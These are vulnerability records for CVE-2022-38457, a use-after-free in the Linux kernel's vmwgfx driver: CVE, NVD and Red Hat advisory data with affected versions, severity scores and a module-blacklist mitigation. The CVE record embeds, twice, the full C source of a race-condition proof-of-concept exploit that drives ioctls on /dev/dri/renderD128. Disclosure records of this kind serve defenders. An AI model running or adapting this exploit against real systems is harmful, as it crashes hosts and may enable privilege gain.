{"containers": {"cna": {"affected": [{"product": "kernel", "vendor": "Linux", "versions": [{"lessThan": "5.13.0-52*", "status": "affected", "version": "v4.20-rc1", "versionType": "custom"}]}], "credits": [{"lang": "en", "value": "Ziming Zhang(ezrakiez@gmail.com) from Ant Group Light-Year Security Lab"}], "datePublic": "2022-09-06T00:00:00", "descriptions": [{"lang": "en", "value": "A use-after-free(UAF) vulnerability was found in function 'vmw_cmd_res_check' in drivers/gpu/vmxgfx/vmxgfx_execbuf.c in Linux kernel's vmwgfx driver with device file '/dev/dri/renderD128 (or Dxxx)'. This flaw allows a local attacker with a user account on the system to gain privilege, causing a denial of service(DoS)."}], "exploits": [{"lang": "en", "value": "#include <stdio.h>\n#include <string.h>\n#include <unistd.h>\n#include <errno.h>\n\n#include <linux/if_tun.h>\n#include <net/if.h>\n#include <sys/ioctl.h>\n#include <sys/types.h>\n#include <sys/stat.h>\n#include <fcntl.h>\n#include <pthread.h>\n#include <sys/socket.h>\n#include <string.h>\n#include <unistd.h>\n#include <stdlib.h>\n#include <sys/ioctl.h>\n#include <errno.h>\n#include <stdio.h>\n#include <fcntl.h>\n#include <pthread.h>\n#include <stdio.h>\n#include <sys/types.h>\n#include <stdint.h>\n#include <netinet/ip.h>\n#include <sys/resource.h>\n#include <sys/syscall.h>\n#include <limits.h>\n#include <sys/mman.h>\n\n#include <linux/fs.h>\nint sid =0;\nint fd = 0;\nint handle=0;\ntypedef struct mixer\n{\n\tint index;\n\tint fd;\n\tchar *msg;\n}mixer_t;\n\nstruct drm_vmw_surface_create_req {\n\t__u32 flags;\n\t__u32 format;\n\t__u32 mip_levels[6];\n\t__u64 size_addr;\n\t__s32 shareable;\n\t__s32 scanout;\n};\nstruct drm_vmw_execbuf_arg {\n\t__u64 commands;\n\t__u32 command_size;\n\t__u32 throttle_us;\n\t__u64 fence_rep;\n\t__u32 version;\n\t__u32 flags;\n\t__u32 context_handle;\n\t__s32 imported_fence_fd;\n};\nvoid init(){\nif ((fd = open(\"/dev/dri/renderD128\", O_RDWR)) == -1)\n {\n printf(\"open tun failed: %s\\n\", strerror(errno));\n return -1;\n }\n \n}\nvoid poc(int handle,int sid){ \nint cmd[0x1000]={0};\ncmd[0]=1044;\ncmd[1]=0x50;\ncmd[2]=handle;\ncmd[3]=0;\ncmd[5]=sid;\ncmd[6]=0;\ncmd[7]=0;\ncmd[13]=1;\ncmd[12]=0;\ncmd[14]=1;\ncmd[19]=12;\nstruct drm_vmw_execbuf_arg arg={0};\n\targ.commands=cmd;\n\targ.command_size=0x100;\n\targ.version=1; \n if (ioctl(fd, 0x4028644C, &arg) == -1)\n {\n printf(\"poc failed: %s\\n\", strerror(errno));\n return -1;\n }\n\n}\nint alloc_bo(){\n\nint arg[0x10]={0};\narg[0]=0x10000;\nif (ioctl(fd, 0xC0186441, &arg) == -1)\n {\n printf(\"alloc_bo failed: %s\\n\", strerror(errno));\n return -1;\n }\n return arg[2]; \n}\n\nint create_surface(){\nint buf[0x100]={0};\nbuf[0]=64;\nbuf[1]=64;\nbuf[2]=64;\nstruct drm_vmw_surface_create_req arg={0};\narg.flags=0;\narg.format=2;\narg.mip_levels[0]=1;\narg.size_addr=buf;\narg.shareable=0;\narg.scanout=0x10;\n\nif (ioctl(fd, 0xC0306449, &arg) == -1)\n {\n printf(\"create_surface failed: %s\\n\", strerror(errno));\n return -1;\n }\nreturn arg.flags;\n}\n\nvoid destory_surface(int sid){\n\nint arg[0x10]={0};\narg[0]=sid;\nif (ioctl(fd, 0x4008644A, &arg) == -1)\n {\n printf(\"destory_surface failed: %s\\n\", strerror(errno));\n return -1;\n } \n}\nvoid thread1(){\nwhile(1){\nsid = create_surface(); \ndestory_surface(sid); \n}\n}\nvoid thread2(){\nwhile(1){\npoc(handle,sid); \n}\n\n}\n\n\nint main(int ac, char **argv)\n{\n pthread_t tid1,tid2;\n\n \n\ninit();\nhandle=alloc_bo();\n if(pthread_create(&tid1,NULL,thread1,NULL)){\n perror(\"thread_create\");\n }\n\n\t\n if(pthread_create(&tid2,NULL,thread2,NULL)){\n perror(\"thread_create\");\n }\n \n while(1){\n sleep(3);\n \n }\n}"}], "metrics": [{"cvssV3_1": {"attackComplexity": "LOW", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "baseScore": 6.3, "baseSeverity": "MEDIUM", "confidentialityImpact": "NONE", "integrityImpact": "LOW", "privilegesRequired": "LOW", "scope": "UNCHANGED", "userInteraction": "REQUIRED", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:U/C:N/I:L/A:H", "version": "3.1"}}], "problemTypes": [{"descriptions": [{"cweId": "CWE-416", "description": "CWE-416 Use After Free", "lang": "en", "type": "CWE"}]}], "providerMetadata": {"dateUpdated": "2022-09-09T14:39:51", "orgId": "cb8f1db9-b4b1-487b-a760-f65c4f368d8e", "shortName": "Anolis"}, "references": [{"tags": ["x_refsource_MISC"], "url": "https://bugzilla.openanolis.cn/show_bug.cgi?id=2074"}], "source": {"defect": ["https://bugzilla.openanolis.cn/show_bug.cgi?id=2074"], "discovery": "INTERNAL"}, "title": "There is an UAF vulnerability in vmwgfx driver", "x_generator": {"engine": "Vulnogram 0.0.9"}, "x_legacyV4Record": {"CVE_data_meta": {"AKA": "Anolis", "ASSIGNER": "security@openanolis.org", "DATE_PUBLIC": "2022-09-06T07:00:00.000Z", "ID": "CVE-2022-38457", "STATE": "PUBLIC", "TITLE": "There is an UAF vulnerability in vmwgfx driver"}, "affects": {"vendor": {"vendor_data": [{"product": {"product_data": [{"product_name": "kernel", "version": {"version_data": [{"version_affected": ">=", "version_name": "5.13.0-52", "version_value": "v4.20-rc1"}]}}]}, "vendor_name": "Linux"}]}}, "credit": [{"lang": "eng", "value": "Ziming Zhang(ezrakiez@gmail.com) from Ant Group Light-Year Security Lab"}], "data_format": "MITRE", "data_type": "CVE", "data_version": "4.0", "description": {"description_data": [{"lang": "eng", "value": "A use-after-free(UAF) vulnerability was found in function 'vmw_cmd_res_check' in drivers/gpu/vmxgfx/vmxgfx_execbuf.c in Linux kernel's vmwgfx driver with device file '/dev/dri/renderD128 (or Dxxx)'. This flaw allows a local attacker with a user account on the system to gain privilege, causing a denial of service(DoS)."}]}, "exploit": [{"lang": "en", "value": "#include <stdio.h>\n#include <string.h>\n#include <unistd.h>\n#include <errno.h>\n\n#include <linux/if_tun.h>\n#include <net/if.h>\n#include <sys/ioctl.h>\n#include <sys/types.h>\n#include <sys/stat.h>\n#include <fcntl.h>\n#include <pthread.h>\n#include <sys/socket.h>\n#include <string.h>\n#include <unistd.h>\n#include <stdlib.h>\n#include <sys/ioctl.h>\n#include <errno.h>\n#include <stdio.h>\n#include <fcntl.h>\n#include <pthread.h>\n#include <stdio.h>\n#include <sys/types.h>\n#include <stdint.h>\n#include <netinet/ip.h>\n#include <sys/resource.h>\n#include <sys/syscall.h>\n#include <limits.h>\n#include <sys/mman.h>\n\n#include <linux/fs.h>\nint sid =0;\nint fd = 0;\nint handle=0;\ntypedef struct mixer\n{\n\tint index;\n\tint fd;\n\tchar *msg;\n}mixer_t;\n\nstruct drm_vmw_surface_create_req {\n\t__u32 flags;\n\t__u32 format;\n\t__u32 mip_levels[6];\n\t__u64 size_addr;\n\t__s32 shareable;\n\t__s32 scanout;\n};\nstruct drm_vmw_execbuf_arg {\n\t__u64 commands;\n\t__u32 command_size;\n\t__u32 throttle_us;\n\t__u64 fence_rep;\n\t__u32 version;\n\t__u32 flags;\n\t__u32 context_handle;\n\t__s32 imported_fence_fd;\n};\nvoid init(){\nif ((fd = open(\"/dev/dri/renderD128\", O_RDWR)) == -1)\n {\n printf(\"open tun failed: %s\\n\", strerror(errno));\n return -1;\n }\n \n}\nvoid poc(int handle,int sid){ \nint cmd[0x1000]={0};\ncmd[0]=1044;\ncmd[1]=0x50;\ncmd[2]=handle;\ncmd[3]=0;\ncmd[5]=sid;\ncmd[6]=0;\ncmd[7]=0;\ncmd[13]=1;\ncmd[12]=0;\ncmd[14]=1;\ncmd[19]=12;\nstruct drm_vmw_execbuf_arg arg={0};\n\targ.commands=cmd;\n\targ.command_size=0x100;\n\targ.version=1; \n if (ioctl(fd, 0x4028644C, &arg) == -1)\n {\n printf(\"poc failed: %s\\n\", strerror(errno));\n return -1;\n }\n\n}\nint alloc_bo(){\n\nint arg[0x10]={0};\narg[0]=0x10000;\nif (ioctl(fd, 0xC0186441, &arg) == -1)\n {\n printf(\"alloc_bo failed: %s\\n\", strerror(errno));\n return -1;\n }\n return arg[2]; \n}\n\nint create_surface(){\nint buf[0x100]={0};\nbuf[0]=64;\nbuf[1]=64;\nbuf[2]=64;\nstruct drm_vmw_surface_create_req arg={0};\narg.flags=0;\narg.format=2;\narg.mip_levels[0]=1;\narg.size_addr=buf;\narg.shareable=0;\narg.scanout=0x10;\n\nif (ioctl(fd, 0xC0306449, &arg) == -1)\n {\n printf(\"create_surface failed: %s\\n\", strerror(errno));\n return -1;\n }\nreturn arg.flags;\n}\n\nvoid destory_surface(int sid){\n\nint arg[0x10]={0};\narg[0]=sid;\nif (ioctl(fd, 0x4008644A, &arg) == -1)\n {\n printf(\"destory_surface failed: %s\\n\", strerror(errno));\n return -1;\n } \n}\nvoid thread1(){\nwhile(1){\nsid = create_surface(); \ndestory_surface(sid); \n}\n}\nvoid thread2(){\nwhile(1){\npoc(handle,sid); \n}\n\n}\n\n\nint main(int ac, char **argv)\n{\n pthread_t tid1,tid2;\n\n \n\ninit();\nhandle=alloc_bo();\n if(pthread_create(&tid1,NULL,thread1,NULL)){\n perror(\"thread_create\");\n }\n\n\t\n if(pthread_create(&tid2,NULL,thread2,NULL)){\n perror(\"thread_create\");\n }\n \n while(1){\n sleep(3);\n \n }\n}"}], "generator": {"engine": "Vulnogram 0.0.9"}, "impact": {"cvss": {"attackComplexity": "LOW", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "baseScore": 6.3, "baseSeverity": "MEDIUM", "confidentialityImpact": "NONE", "integrityImpact": "LOW", "privilegesRequired": "LOW", "scope": "UNCHANGED", "userInteraction": "REQUIRED", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:U/C:N/I:L/A:H", "version": "3.1"}}, "problemtype": {"problemtype_data": [{"description": [{"lang": "eng", "value": "CWE-416 Use After Free"}]}]}, "references": {"reference_data": [{"name": "https://bugzilla.openanolis.cn/show_bug.cgi?id=2074", "refsource": "MISC", "url": "https://bugzilla.openanolis.cn/show_bug.cgi?id=2074"}]}, "source": {"defect": ["https://bugzilla.openanolis.cn/show_bug.cgi?id=2074"], "discovery": "INTERNAL"}}}, "adp": [{"providerMetadata": {"orgId": "af854a3a-2127-422b-91ae-364da2661108", "shortName": "CVE", "dateUpdated": "2024-08-03T10:54:03.666Z"}, "title": "CVE Program Container", "references": [{"tags": ["x_refsource_MISC", "x_transferred"], "url": "https://bugzilla.openanolis.cn/show_bug.cgi?id=2074"}]}]}, "cveMetadata": {"assignerOrgId": "cb8f1db9-b4b1-487b-a760-f65c4f368d8e", "assignerShortName": "Anolis", "cveId": "CVE-2022-38457", "datePublished": "2022-09-09T14:39:51.323409Z", "dateReserved": "2022-09-07T00:00:00", "dateUpdated": "2024-09-17T02:11:30.468Z", "state": "PUBLISHED"}, "dataType": "CVE_RECORD", "dataVersion": "5.1"}

{}

{"configurations": [{"nodes": [{"cpeMatch": [{"criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "matchCriteriaId": "2D63FB2D-B092-4364-B732-F4FD54A43619", "versionEndExcluding": "6.1.7", "versionStartIncluding": "4.20", "vulnerable": true}, {"criteria": "cpe:2.3:o:linux:linux_kernel:6.2:rc1:*:*:*:*:*:*", "matchCriteriaId": "FF501633-2F44-4913-A8EE-B021929F49F6", "vulnerable": true}, {"criteria": "cpe:2.3:o:linux:linux_kernel:6.2:rc2:*:*:*:*:*:*", "matchCriteriaId": "2BDA597B-CAC1-4DF0-86F0-42E142C654E9", "vulnerable": true}, {"criteria": "cpe:2.3:o:linux:linux_kernel:6.2:rc3:*:*:*:*:*:*", "matchCriteriaId": "725C78C9-12CE-406F-ABE8-0813A01D66E8", "vulnerable": true}, {"criteria": "cpe:2.3:o:linux:linux_kernel:6.2:rc4:*:*:*:*:*:*", "matchCriteriaId": "A127C155-689C-4F67-B146-44A57F4BFD85", "vulnerable": true}], "negate": false, "operator": "OR"}]}], "cveTags": [], "descriptions": [{"lang": "en", "value": "A use-after-free(UAF) vulnerability was found in function 'vmw_cmd_res_check' in drivers/gpu/vmxgfx/vmxgfx_execbuf.c in Linux kernel's vmwgfx driver with device file '/dev/dri/renderD128 (or Dxxx)'. This flaw allows a local attacker with a user account on the system to gain privilege, causing a denial of service(DoS)."}, {"lang": "es", "value": "Se ha encontrado una vulnerabilidad de uso de memoria previamente liberada (UAF) en la funci\u00f3n \"vmw_cmd_res_check\" en el archivo drivers/gpu/vmxgfx/vmxgfx_execbuf.c en el controlador vmwgfx del kernel de Linux con el archivo de dispositivo \"/dev/dri/renderD128 (o Dxxx)\". Este fallo permite a un atacante local con una cuenta de usuario en el sistema conseguir privilegios, causando una denegaci\u00f3n de servicio (DoS)"}], "id": "CVE-2022-38457", "lastModified": "2023-04-17T16:45:05.667", "metrics": {"cvssMetricV31": [{"cvssData": {"attackComplexity": "LOW", "attackVector": "LOCAL", "availabilityImpact": "HIGH", "baseScore": 5.5, "baseSeverity": "MEDIUM", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "privilegesRequired": "LOW", "scope": "UNCHANGED", "userInteraction": "NONE", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H", "version": "3.1"}, "exploitabilityScore": 1.8, "impactScore": 3.6, "source": "nvd@nist.gov", "type": "Primary"}, {"cvssData": {"attackComplexity": "LOW", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "baseScore": 6.3, "baseSeverity": "MEDIUM", "confidentialityImpact": "NONE", "integrityImpact": "LOW", "privilegesRequired": "LOW", "scope": "UNCHANGED", "userInteraction": "REQUIRED", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:U/C:N/I:L/A:H", "version": "3.1"}, "exploitabilityScore": 2.1, "impactScore": 4.2, "source": "security@openanolis.org", "type": "Secondary"}]}, "published": "2022-09-09T15:15:14.520", "references": [{"source": "security@openanolis.org", "tags": ["Issue Tracking", "Permissions Required"], "url": "https://bugzilla.openanolis.cn/show_bug.cgi?id=2074"}], "sourceIdentifier": "security@openanolis.org", "vulnStatus": "Analyzed", "weaknesses": [{"description": [{"lang": "en", "value": "CWE-416"}], "source": "nvd@nist.gov", "type": "Primary"}, {"description": [{"lang": "en", "value": "CWE-416"}], "source": "security@openanolis.org", "type": "Secondary"}]}

{"affected_release": [{"advisory": "RHSA-2023:6901", "cpe": "cpe:/a:redhat:enterprise_linux:8::nfv", "package": "kernel-rt-0:4.18.0-513.5.1.rt7.307.el8_9", "product_name": "Red Hat Enterprise Linux 8", "release_date": "2023-11-14T00:00:00Z"}, {"advisory": "RHSA-2023:7077", "cpe": "cpe:/o:redhat:enterprise_linux:8", "package": "kernel-0:4.18.0-513.5.1.el8_9", "product_name": "Red Hat Enterprise Linux 8", "release_date": "2023-11-14T00:00:00Z"}, {"advisory": "RHSA-2024:0930", "cpe": "cpe:/o:redhat:rhel_eus:8.6", "package": "kernel-0:4.18.0-372.93.1.el8_6", "product_name": "Red Hat Enterprise Linux 8.6 Extended Update Support", "release_date": "2024-02-21T00:00:00Z"}, {"advisory": "RHSA-2024:1404", "cpe": "cpe:/o:redhat:rhel_eus:8.8", "package": "kernel-0:4.18.0-477.51.1.el8_8", "product_name": "Red Hat Enterprise Linux 8.8 Extended Update Support", "release_date": "2024-03-19T00:00:00Z"}, {"advisory": "RHSA-2023:6583", "cpe": "cpe:/a:redhat:enterprise_linux:9", "package": "kernel-0:5.14.0-362.8.1.el9_3", "product_name": "Red Hat Enterprise Linux 9", "release_date": "2023-11-07T00:00:00Z"}, {"advisory": "RHSA-2023:6583", "cpe": "cpe:/o:redhat:enterprise_linux:9", "package": "kernel-0:5.14.0-362.8.1.el9_3", "product_name": "Red Hat Enterprise Linux 9", "release_date": "2023-11-07T00:00:00Z"}, {"advisory": "RHSA-2024:4823", "cpe": "cpe:/a:redhat:rhel_eus:9.2", "package": "kernel-0:5.14.0-284.75.1.el9_2", "product_name": "Red Hat Enterprise Linux 9.2 Extended Update Support", "release_date": "2024-07-24T00:00:00Z"}, {"advisory": "RHSA-2024:4831", "cpe": "cpe:/a:redhat:rhel_eus:9.2::nfv", "package": "kernel-rt-0:5.14.0-284.75.1.rt14.360.el9_2", "product_name": "Red Hat Enterprise Linux 9.2 Extended Update Support", "release_date": "2024-07-24T00:00:00Z"}, {"advisory": "RHSA-2024:0930", "cpe": "cpe:/o:redhat:rhev_hypervisor:4.4::el8", "package": "kernel-0:4.18.0-372.93.1.el8_6", "product_name": "Red Hat Virtualization 4 for Red Hat Enterprise Linux 8", "release_date": "2024-02-21T00:00:00Z"}], "bugzilla": {"description": "kernel: vmwgfx: use-after-free in vmw_cmd_res_check", "id": "2133455", "url": "https://bugzilla.redhat.com/show_bug.cgi?id=2133455"}, "csaw": false, "cvss3": {"cvss3_base_score": "5.5", "cvss3_scoring_vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H", "status": "verified"}, "cwe": "CWE-416", "details": ["A use-after-free(UAF) vulnerability was found in function 'vmw_cmd_res_check' in drivers/gpu/vmxgfx/vmxgfx_execbuf.c in Linux kernel's vmwgfx driver with device file '/dev/dri/renderD128 (or Dxxx)'. This flaw allows a local attacker with a user account on the system to gain privilege, causing a denial of service(DoS).", "A use-after-free vulnerability was found in the Linux kernel's vmwgfx driver in vmw_cmd_res_check. This flaw allows a local, unprivileged attacker with access to either /dev/dri/card0 or /dev/dri/rendererD128, who can issue an ioctl() on the resulting file descriptor, to crash the system, causing a denial of service."], "mitigation": {"lang": "en:us", "value": "To mitigate this issue, it is possible to prevent the affected code from being loaded by blacklisting the vmwgfx kernel module. For instructions relating to blacklisting a kernel module, please see https://access.redhat.com/solutions/41278."}, "name": "CVE-2022-38457", "package_state": [{"cpe": "cpe:/o:redhat:enterprise_linux:6", "fix_state": "Out of support scope", "package_name": "kernel", "product_name": "Red Hat Enterprise Linux 6"}, {"cpe": "cpe:/o:redhat:enterprise_linux:7", "fix_state": "Out of support scope", "package_name": "kernel", "product_name": "Red Hat Enterprise Linux 7"}, {"cpe": "cpe:/o:redhat:enterprise_linux:7", "fix_state": "Out of support scope", "package_name": "kernel-rt", "product_name": "Red Hat Enterprise Linux 7"}, {"cpe": "cpe:/o:redhat:enterprise_linux:9", "fix_state": "Affected", "package_name": "kernel-rt", "product_name": "Red Hat Enterprise Linux 9"}], "public_date": "2022-09-09T00:00:00Z", "references": ["https://www.cve.org/CVERecord?id=CVE-2022-38457\nhttps://nvd.nist.gov/vuln/detail/CVE-2022-38457"], "statement": "Systems making use of the vmwgfx driver are potentially affected by this flaw; systems without the vmwgfx driver loaded are not affected by this flaw.", "threat_severity": "Moderate"}